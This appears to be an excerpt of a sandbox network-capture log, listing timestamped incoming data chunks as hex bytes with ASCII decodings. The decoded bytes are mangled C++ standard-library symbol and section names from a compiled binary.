2022-07-20 08:32:59 UTC	3096	IN	Data Raw: 45 45 44 30 45 76 00 5f 5f 5a 4e 53 74 37 6e 75 6d 5f 70 75 74 49 63 53 74 31 39 6f 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 45 44 30 45 76 00 2e 74 65 78 74 24 5f 5a 4e 53 74 31 37 5f 5f 74 69 6d 65 70 75 6e 63 74 5f 63 61 63 68 65 49 63 45 44 30 45 76 00 5f 5f 5a 4e 53 74 31 37 5f 5f 74 69 6d 65 70 75 6e 63 74 5f 63 61 63 68 65 49 63 45 44 30 45 76 00 2e 74 65 78 74 24 5f 5a 4e 53 74 38 74 69 6d 65 5f 70 75 74 49 63 53 74 31 39 6f 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 45 44 30 45 76 00 5f 5f 5a 4e 53 74 38 74 69 6d 65 5f 70 75 74 49 63 53 74 31 39 6f 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f Data Ascii: EED0Ev__ZNSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEED0Ev.text$_ZNSt17__timepunct_cacheIcED0Ev__ZNSt17__timepunct_cacheIcED0Ev.text$_ZNSt8time_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEED0Ev__ZNSt8time_putIcSt19ostreambuf_iterato
2022-07-20 08:32:59 UTC	3097	IN	Data Raw: 4b 53 74 31 30 6d 6f 6e 65 79 70 75 6e 63 74 49 63 4c 62 30 45 45 31 36 64 6f 5f 6e 65 67 61 74 69 76 65 5f 73 69 67 6e 45 76 00 5f 5f 5a 4e 4b 53 74 31 30 6d 6f 6e 65 79 70 75 6e 63 74 49 63 4c 62 30 45 45 31 36 64 6f 5f 6e 65 67 61 74 69 76 65 5f 73 69 67 6e 45 76 00 2e 74 65 78 74 24 5f 5a 4e 4b 53 74 31 30 6d 6f 6e 65 79 70 75 6e 63 74 49 63 4c 62 31 45 45 31 31 64 6f 5f 67 72 6f 75 70 69 6e 67 45 76 00 5f 5f 5a 4e 4b 53 74 31 30 6d 6f 6e 65 79 70 75 6e 63 74 49 63 4c 62 31 45 45 31 31 64 6f 5f 67 72 6f 75 70 69 6e 67 45 76 00 2e 74 65 78 74 24 5f 5a 4e 4b 53 74 31 30 6d 6f 6e 65 79 70 75 6e 63 74 49 63 4c 62 31 45 45 31 34 64 6f 5f 63 75 72 72 5f 73 79 6d 62 6f 6c 45 76 00 5f 5f 5a 4e 4b 53 74 31 30 6d 6f 6e 65 79 70 75 6e 63 74 49 63 4c 62 31 45 45 Data Ascii: KSt10moneypunctIcLb0EE16do_negative_signEv__ZNKSt10moneypunctIcLb0EE16do_negative_signEv.text$_ZNKSt10moneypunctIcLb1EE11do_groupingEv__ZNKSt10moneypunctIcLb1EE11do_groupingEv.text$_ZNKSt10moneypunctIcLb1EE14do_curr_symbolEv__ZNKSt10moneypunctIcLb1EE
2022-07-20 08:32:59 UTC	3113	IN	Data Raw: 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 45 43 32 45 50 4b 63 6a 00 5f 5f 5a 4e 53 74 31 35 74 69 6d 65 5f 67 65 74 5f 62 79 6e 61 6d 65 49 63 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 45 43 32 45 50 4b 63 6a 00 2e 72 64 61 74 61 24 5f 5a 54 56 53 74 31 35 74 69 6d 65 5f 67 65 74 5f 62 79 6e 61 6d 65 49 63 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 45 00 2e 74 65 78 74 24 5f 5a 4e 53 74 31 35 74 69 6d 65 5f 67 65 74 5f 62 79 6e 61 6d 65 49 63 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 Data Ascii: istreambuf_iteratorIcSt11char_traitsIcEEEC2EPKcj__ZNSt15time_get_bynameIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEC2EPKcj.rdata$_ZTVSt15time_get_bynameIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE.text$_ZNSt15time_get_bynameIcSt19istreambuf_itera
2022-07-20 08:32:59 UTC	3114	IN	Data Raw: 73 73 61 67 65 73 49 63 45 43 31 45 50 69 50 4b 63 6a 00 5f 5f 5a 4e 53 74 38 6d 65 73 73 61 67 65 73 49 63 45 43 31 45 50 69 50 4b 63 6a 00 2e 74 65 78 74 24 5f 5a 4e 4b 53 74 38 6d 65 73 73 61 67 65 73 49 63 45 34 6f 70 65 6e 45 52 4b 53 73 52 4b 53 74 36 6c 6f 63 61 6c 65 00 5f 5f 5a 4e 4b 53 74 38 6d 65 73 73 61 67 65 73 49 63 45 34 6f 70 65 6e 45 52 4b 53 73 52 4b 53 74 36 6c 6f 63 61 6c 65 00 2e 74 65 78 74 24 5f 5a 4e 4b 53 74 38 6d 65 73 73 61 67 65 73 49 63 45 34 6f 70 65 6e 45 52 4b 53 73 52 4b 53 74 36 6c 6f 63 61 6c 65 50 4b 63 00 5f 5f 5a 4e 4b 53 74 38 6d 65 73 73 61 67 65 73 49 63 45 34 6f 70 65 6e 45 52 4b 53 73 52 4b 53 74 36 6c 6f 63 61 6c 65 50 4b 63 00 2e 74 65 78 74 24 5f 5a 4e 4b 53 74 38 6d 65 73 73 61 67 65 73 49 63 45 33 67 65 74 Data Ascii: ssagesIcEC1EPiPKcj__ZNSt8messagesIcEC1EPiPKcj.text$_ZNKSt8messagesIcE4openERKSsRKSt6locale__ZNKSt8messagesIcE4openERKSsRKSt6locale.text$_ZNKSt8messagesIcE4openERKSsRKSt6localePKc__ZNKSt8messagesIcE4openERKSsRKSt6localePKc.text$_ZNKSt8messagesIcE3get
2022-07-20 08:32:59 UTC	3130	IN	Data Raw: 65 72 61 74 6f 72 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 45 31 36 5f 4d 5f 65 78 74 72 61 63 74 5f 66 6c 6f 61 74 45 53 33 5f 53 33 5f 52 53 74 38 69 6f 73 5f 62 61 73 65 52 53 74 31 32 5f 49 6f 73 5f 49 6f 73 74 61 74 65 52 53 73 00 2e 74 65 78 74 24 5f 5a 4e 4b 53 74 37 6e 75 6d 5f 67 65 74 49 63 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 45 36 64 6f 5f 67 65 74 45 53 33 5f 53 33 5f 52 53 74 38 69 6f 73 5f 62 61 73 65 52 53 74 31 32 5f 49 6f 73 5f 49 6f 73 74 61 74 65 52 66 00 5f 5f 5a 4e 4b 53 74 37 6e 75 6d 5f 67 65 74 49 63 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 Data Ascii: eratorIcSt11char_traitsIcEEE16_M_extract_floatES3_S3_RSt8ios_baseRSt12_Ios_IostateRSs.text$_ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE6do_getES3_S3_RSt8ios_baseRSt12_Ios_IostateRf__ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_trait
2022-07-20 08:32:59 UTC	3131	IN	Data Raw: 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 45 36 64 6f 5f 67 65 74 45 53 33 5f 53 33 5f 52 53 74 38 69 6f 73 5f 62 61 73 65 52 53 74 31 32 5f 49 6f 73 5f 49 6f 73 74 61 74 65 52 6c 00 5f 5f 5a 4e 4b 53 74 37 6e 75 6d 5f 67 65 74 49 63 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 45 36 64 6f 5f 67 65 74 45 53 33 5f 53 33 5f 52 53 74 38 69 6f 73 5f 62 61 73 65 52 53 74 31 32 5f 49 6f 73 5f 49 6f 73 74 61 74 65 52 6c 00 2e 74 65 78 74 24 5f 5a 4e 4b 53 74 37 6e 75 6d 5f 67 65 74 49 63 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 63 53 74 31 31 63 68 61 72 5f Data Ascii: St19istreambuf_iteratorIcSt11char_traitsIcEEE6do_getES3_S3_RSt8ios_baseRSt12_Ios_IostateRl__ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE6do_getES3_S3_RSt8ios_baseRSt12_Ios_IostateRl.text$_ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_
2022-07-20 08:32:59 UTC	3147	IN	Data Raw: 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 4b 53 74 37 6e 75 6d 5f 67 65 74 49 63 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 45 33 67 65 74 45 53 33 5f 53 33 5f 52 53 74 38 69 6f 73 5f 62 61 73 65 52 53 74 31 32 5f 49 6f 73 5f 49 6f 73 74 61 74 65 52 50 76 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 37 6e 75 6d 5f 67 65 74 49 63 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 45 44 32 45 76 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 37 6e 75 6d 5f 70 75 74 49 63 53 74 31 39 6f 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 Data Ascii: .eh_frame$_ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE3getES3_S3_RSt8ios_baseRSt12_Ios_IostateRPv.eh_frame$_ZNSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEED2Ev.eh_frame$_ZNSt7num_putIcSt19ostreambuf_iteratorIcSt11char_trait
2022-07-20 08:32:59 UTC	3148	IN	Data Raw: 50 4b 63 6a 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 31 31 5f 5f 74 69 6d 65 70 75 6e 63 74 49 63 45 43 31 45 50 69 50 4b 63 6a 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 4b 53 74 31 31 5f 5f 74 69 6d 65 70 75 6e 63 74 49 63 45 31 35 5f 4d 5f 64 61 74 65 5f 66 6f 72 6d 61 74 73 45 50 50 4b 63 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 4b 53 74 31 31 5f 5f 74 69 6d 65 70 75 6e 63 74 49 63 45 31 35 5f 4d 5f 74 69 6d 65 5f 66 6f 72 6d 61 74 73 45 50 50 4b 63 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 4b 53 74 31 31 5f 5f 74 69 6d 65 70 75 6e 63 74 49 63 45 32 30 5f 4d 5f 64 61 74 65 5f 74 69 6d 65 5f 66 6f 72 6d 61 74 73 45 50 50 4b 63 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 4b 53 74 31 31 5f 5f 74 69 6d 65 70 75 6e 63 74 49 63 45 31 35 5f 4d 5f 61 6d Data Ascii: PKcj.eh_frame$_ZNSt11__timepunctIcEC1EPiPKcj.eh_frame$_ZNKSt11__timepunctIcE15_M_date_formatsEPPKc.eh_frame$_ZNKSt11__timepunctIcE15_M_time_formatsEPPKc.eh_frame$_ZNKSt11__timepunctIcE20_M_date_time_formatsEPPKc.eh_frame$_ZNKSt11__timepunctIcE15_M_am
2022-07-20 08:32:59 UTC	3164	IN	Data Raw: 63 5f 73 74 72 65 61 6d 62 75 66 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 00 2e 74 65 78 74 24 5f 5a 4e 53 6f 33 70 75 74 45 63 00 5f 5f 5a 4e 53 6f 33 70 75 74 45 63 00 2e 74 65 78 74 24 5f 5a 4e 53 6f 35 77 72 69 74 65 45 50 4b 63 69 00 5f 5f 5a 4e 53 6f 35 77 72 69 74 65 45 50 4b 63 69 00 2e 74 65 78 74 24 5f 5a 4e 4b 53 6f 36 73 65 6e 74 72 79 63 76 62 45 76 00 5f 5f 5a 4e 4b 53 6f 36 73 65 6e 74 72 79 63 76 62 45 76 00 2e 74 65 78 74 24 5f 5a 53 74 34 65 6e 64 6c 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 52 53 74 31 33 62 61 73 69 63 5f 6f 73 74 72 65 61 6d 49 54 5f 54 30 5f 45 53 36 5f 00 5f 5f 5a 53 74 34 65 6e 64 6c 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 52 53 74 31 33 62 61 73 69 Data Ascii: c_streambufIcSt11char_traitsIcEE.text$_ZNSo3putEc__ZNSo3putEc.text$_ZNSo5writeEPKci__ZNSo5writeEPKci.text$_ZNKSo6sentrycvbEv__ZNKSo6sentrycvbEv.text$_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6___ZSt4endlIcSt11char_traitsIcEERSt13basi
2022-07-20 08:32:59 UTC	3165	IN	Data Raw: 73 69 63 5f 6f 73 74 72 65 61 6d 49 54 5f 54 30 5f 45 53 36 5f 53 74 38 5f 53 65 74 62 61 73 65 00 5f 5f 5a 53 74 6c 73 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 52 53 74 31 33 62 61 73 69 63 5f 6f 73 74 72 65 61 6d 49 54 5f 54 30 5f 45 53 36 5f 53 74 38 5f 53 65 74 62 61 73 65 00 2e 74 65 78 74 24 5f 5a 53 74 6c 73 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 52 53 74 31 33 62 61 73 69 63 5f 6f 73 74 72 65 61 6d 49 54 5f 54 30 5f 45 53 36 5f 53 74 31 33 5f 53 65 74 70 72 65 63 69 73 69 6f 6e 00 5f 5f 5a 53 74 6c 73 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 52 53 74 31 33 62 61 73 69 63 5f 6f 73 74 72 65 61 6d 49 54 5f 54 30 5f 45 53 36 5f 53 74 31 33 5f 53 65 74 70 72 65 63 69 73 69 6f 6e 00 2e Data Ascii: sic_ostreamIT_T0_ES6_St8_Setbase__ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_Setbase.text$_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St13_Setprecision__ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St13_Setprecision.
2022-07-20 08:32:59 UTC	3181	IN	Data Raw: 49 77 45 45 6c 73 45 79 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 31 33 62 61 73 69 63 5f 6f 73 74 72 65 61 6d 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 39 5f 4d 5f 69 6e 73 65 72 74 49 64 45 45 52 53 32 5f 54 5f 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 31 33 62 61 73 69 63 5f 6f 73 74 72 65 61 6d 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 6c 73 45 64 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 31 33 62 61 73 69 63 5f 6f 73 74 72 65 61 6d 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 6c 73 45 66 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 31 33 62 61 73 69 63 5f 6f 73 74 72 65 61 6d 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 39 5f 4d 5f 69 6e 73 65 72 74 49 Data Ascii: IwEElsEy.eh_frame$_ZNSt13basic_ostreamIwSt11char_traitsIwEE9_M_insertIdEERS2_T_.eh_frame$_ZNSt13basic_ostreamIwSt11char_traitsIwEElsEd.eh_frame$_ZNSt13basic_ostreamIwSt11char_traitsIwEElsEf.eh_frame$_ZNSt13basic_ostreamIwSt11char_traitsIwEE9_M_insertI
2022-07-20 08:32:59 UTC	3182	IN	Data Raw: 73 65 65 6b 6f 66 66 45 78 53 74 31 32 5f 49 6f 73 5f 53 65 65 6b 64 69 72 53 74 31 33 5f 49 6f 73 5f 4f 70 65 6e 6d 6f 64 65 00 5f 5f 5a 4e 53 74 31 35 62 61 73 69 63 5f 73 74 72 65 61 6d 62 75 66 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 37 73 65 65 6b 6f 66 66 45 78 53 74 31 32 5f 49 6f 73 5f 53 65 65 6b 64 69 72 53 74 31 33 5f 49 6f 73 5f 4f 70 65 6e 6d 6f 64 65 00 2e 74 65 78 74 24 5f 5a 4e 53 74 31 35 62 61 73 69 63 5f 73 74 72 65 61 6d 62 75 66 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 37 73 65 65 6b 70 6f 73 45 53 74 34 66 70 6f 73 49 69 45 53 74 31 33 5f 49 6f 73 5f 4f 70 65 6e 6d 6f 64 65 00 5f 5f 5a 4e 53 74 31 35 62 61 73 69 63 5f 73 74 72 65 61 6d 62 75 66 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 Data Ascii: seekoffExSt12_Ios_SeekdirSt13_Ios_Openmode__ZNSt15basic_streambufIcSt11char_traitsIcEE7seekoffExSt12_Ios_SeekdirSt13_Ios_Openmode.text$_ZNSt15basic_streambufIcSt11char_traitsIcEE7seekposESt4fposIiESt13_Ios_Openmode__ZNSt15basic_streambufIcSt11char_trai
2022-07-20 08:32:59 UTC	3198	IN	Data Raw: 5f 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 31 35 62 61 73 69 63 5f 73 74 72 65 61 6d 62 75 66 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 44 32 45 76 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 31 35 62 61 73 69 63 5f 73 74 72 65 61 6d 62 75 66 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 38 70 75 62 69 6d 62 75 65 45 52 4b 53 74 36 6c 6f 63 61 6c 65 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 4b 53 74 31 35 62 61 73 69 63 5f 73 74 72 65 61 6d 62 75 66 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 36 67 65 74 6c 6f 63 45 76 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 31 35 62 61 73 69 63 5f 73 74 72 65 61 6d 62 75 66 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 39 70 75 Data Ascii: _.eh_frame$_ZNSt15basic_streambufIwSt11char_traitsIwEED2Ev.eh_frame$_ZNSt15basic_streambufIwSt11char_traitsIwEE8pubimbueERKSt6locale.eh_frame$_ZNKSt15basic_streambufIwSt11char_traitsIwEE6getlocEv.eh_frame$_ZNSt15basic_streambufIwSt11char_traitsIwEE9pu
2022-07-20 08:32:59 UTC	3199	IN	Data Raw: 45 45 35 73 70 75 74 63 45 77 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 31 35 62 61 73 69 63 5f 73 74 72 65 61 6d 62 75 66 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 35 73 70 75 74 6e 45 50 4b 77 69 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 31 35 62 61 73 69 63 5f 73 74 72 65 61 6d 62 75 66 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 43 32 45 76 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 31 35 62 61 73 69 63 5f 73 74 72 65 61 6d 62 75 66 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 43 31 45 76 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 4b 53 74 31 35 62 61 73 69 63 5f 73 74 72 65 61 6d 62 75 66 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 35 65 62 61 63 6b 45 76 00 Data Ascii: EE5sputcEw.eh_frame$_ZNSt15basic_streambufIwSt11char_traitsIwEE5sputnEPKwi.eh_frame$_ZNSt15basic_streambufIwSt11char_traitsIwEEC2Ev.eh_frame$_ZNSt15basic_streambufIwSt11char_traitsIwEEC1Ev.eh_frame$_ZNKSt15basic_streambufIwSt11char_traitsIwEE5ebackEv
2022-07-20 08:32:59 UTC	3215	IN	Data Raw: 6c 69 73 74 49 63 45 00 2e 74 65 78 74 24 5f 5a 4e 4b 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 53 61 49 63 45 45 34 63 6f 70 79 45 50 63 6a 6a 00 5f 5f 5a 4e 4b 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 53 61 49 63 45 45 34 63 6f 70 79 45 50 63 6a 6a 00 2e 74 65 78 74 24 5f 5a 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 53 61 49 63 45 45 34 73 77 61 70 45 52 53 34 5f 00 5f 5f 5a 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 63 53 74 31 31 63 68 61 72 5f 74 Data Ascii: listIcE.text$_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE4copyEPcjj__ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE4copyEPcjj.text$_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE4swapERS4___ZNSt7__cxx1112basic_stringIcSt11char_t
2022-07-20 08:32:59 UTC	3216	IN	Data Raw: 72 5f 74 72 61 69 74 73 49 63 45 53 61 49 63 45 45 35 72 66 69 6e 64 45 50 4b 63 6a 6a 00 5f 5f 5a 4e 4b 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 53 61 49 63 45 45 35 72 66 69 6e 64 45 50 4b 63 6a 6a 00 2e 74 65 78 74 24 5f 5a 4e 4b 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 53 61 49 63 45 45 35 72 66 69 6e 64 45 52 4b 53 34 5f 6a 00 5f 5f 5a 4e 4b 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 53 61 49 63 45 45 35 72 66 69 6e 64 45 52 4b 53 34 5f 6a 00 2e 74 65 78 74 24 5f 5a 4e 4b 53 74 37 5f Data Ascii: r_traitsIcESaIcEE5rfindEPKcjj__ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5rfindEPKcjj.text$_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5rfindERKS4_j__ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5rfindERKS4_j.text$_ZNKSt7_
2022-07-20 08:32:59 UTC	3232	IN	Data Raw: 74 72 69 6e 67 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 53 61 49 63 45 45 37 72 65 70 6c 61 63 65 45 6a 6a 52 4b 53 34 5f 6a 6a 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 53 61 49 63 45 45 37 72 65 70 6c 61 63 65 45 4e 39 5f 5f 67 6e 75 5f 63 78 78 31 37 5f 5f 6e 6f 72 6d 61 6c 5f 69 74 65 72 61 74 6f 72 49 50 4b 63 53 34 5f 45 45 53 39 5f 4e 53 36 5f 49 50 63 53 34 5f 45 45 53 42 5f 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 53 61 49 63 45 45 37 72 65 70 6c 61 63 65 45 4e 39 5f Data Ascii: tringIcSt11char_traitsIcESaIcEE7replaceEjjRKS4_jj.eh_frame$_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7replaceEN9__gnu_cxx17__normal_iteratorIPKcS4_EES9_NS6_IPcS4_EESB_.eh_frame$_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7replaceEN9_
2022-07-20 08:32:59 UTC	3233	IN	Data Raw: 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 53 61 49 63 45 45 36 61 70 70 65 6e 64 45 53 74 31 36 69 6e 69 74 69 61 6c 69 7a 65 72 5f 6c 69 73 74 49 63 45 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 53 61 49 63 45 45 70 4c 45 53 74 31 36 69 6e 69 74 69 61 6c 69 7a 65 72 5f 6c 69 73 74 49 63 45 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 4b 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 53 61 49 63 45 45 34 63 6f 70 79 45 50 63 6a 6a 00 2e 65 68 5f 66 72 61 6d 65 Data Ascii: t7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6appendESt16initializer_listIcE.eh_frame$_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLESt16initializer_listIcE.eh_frame$_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE4copyEPcjj.eh_frame
2022-07-20 08:32:59 UTC	3249	IN	Data Raw: 4c 62 30 45 45 43 31 45 52 4b 53 73 6a 00 2e 74 65 78 74 24 5f 5a 4e 53 74 31 37 6d 6f 6e 65 79 70 75 6e 63 74 5f 62 79 6e 61 6d 65 49 77 4c 62 30 45 45 44 32 45 76 00 5f 5f 5a 4e 53 74 31 37 6d 6f 6e 65 79 70 75 6e 63 74 5f 62 79 6e 61 6d 65 49 77 4c 62 30 45 45 44 32 45 76 00 2e 74 65 78 74 24 5f 5a 4e 53 74 31 37 6d 6f 6e 65 79 70 75 6e 63 74 5f 62 79 6e 61 6d 65 49 77 4c 62 31 45 45 43 32 45 50 4b 63 6a 00 5f 5f 5a 4e 53 74 31 37 6d 6f 6e 65 79 70 75 6e 63 74 5f 62 79 6e 61 6d 65 49 77 4c 62 31 45 45 43 32 45 50 4b 63 6a 00 2e 74 65 78 74 24 5f 5a 4e 53 74 31 37 6d 6f 6e 65 79 70 75 6e 63 74 5f 62 79 6e 61 6d 65 49 77 4c 62 31 45 45 43 31 45 50 4b 63 6a 00 5f 5f 5a 4e 53 74 31 37 6d 6f 6e 65 79 70 75 6e 63 74 5f 62 79 6e 61 6d 65 49 77 4c 62 31 45 45 Data Ascii: Lb0EEC1ERKSsj.text$_ZNSt17moneypunct_bynameIwLb0EED2Ev__ZNSt17moneypunct_bynameIwLb0EED2Ev.text$_ZNSt17moneypunct_bynameIwLb1EEC2EPKcj__ZNSt17moneypunct_bynameIwLb1EEC2EPKcj.text$_ZNSt17moneypunct_bynameIwLb1EEC1EPKcj__ZNSt17moneypunct_bynameIwLb1EE
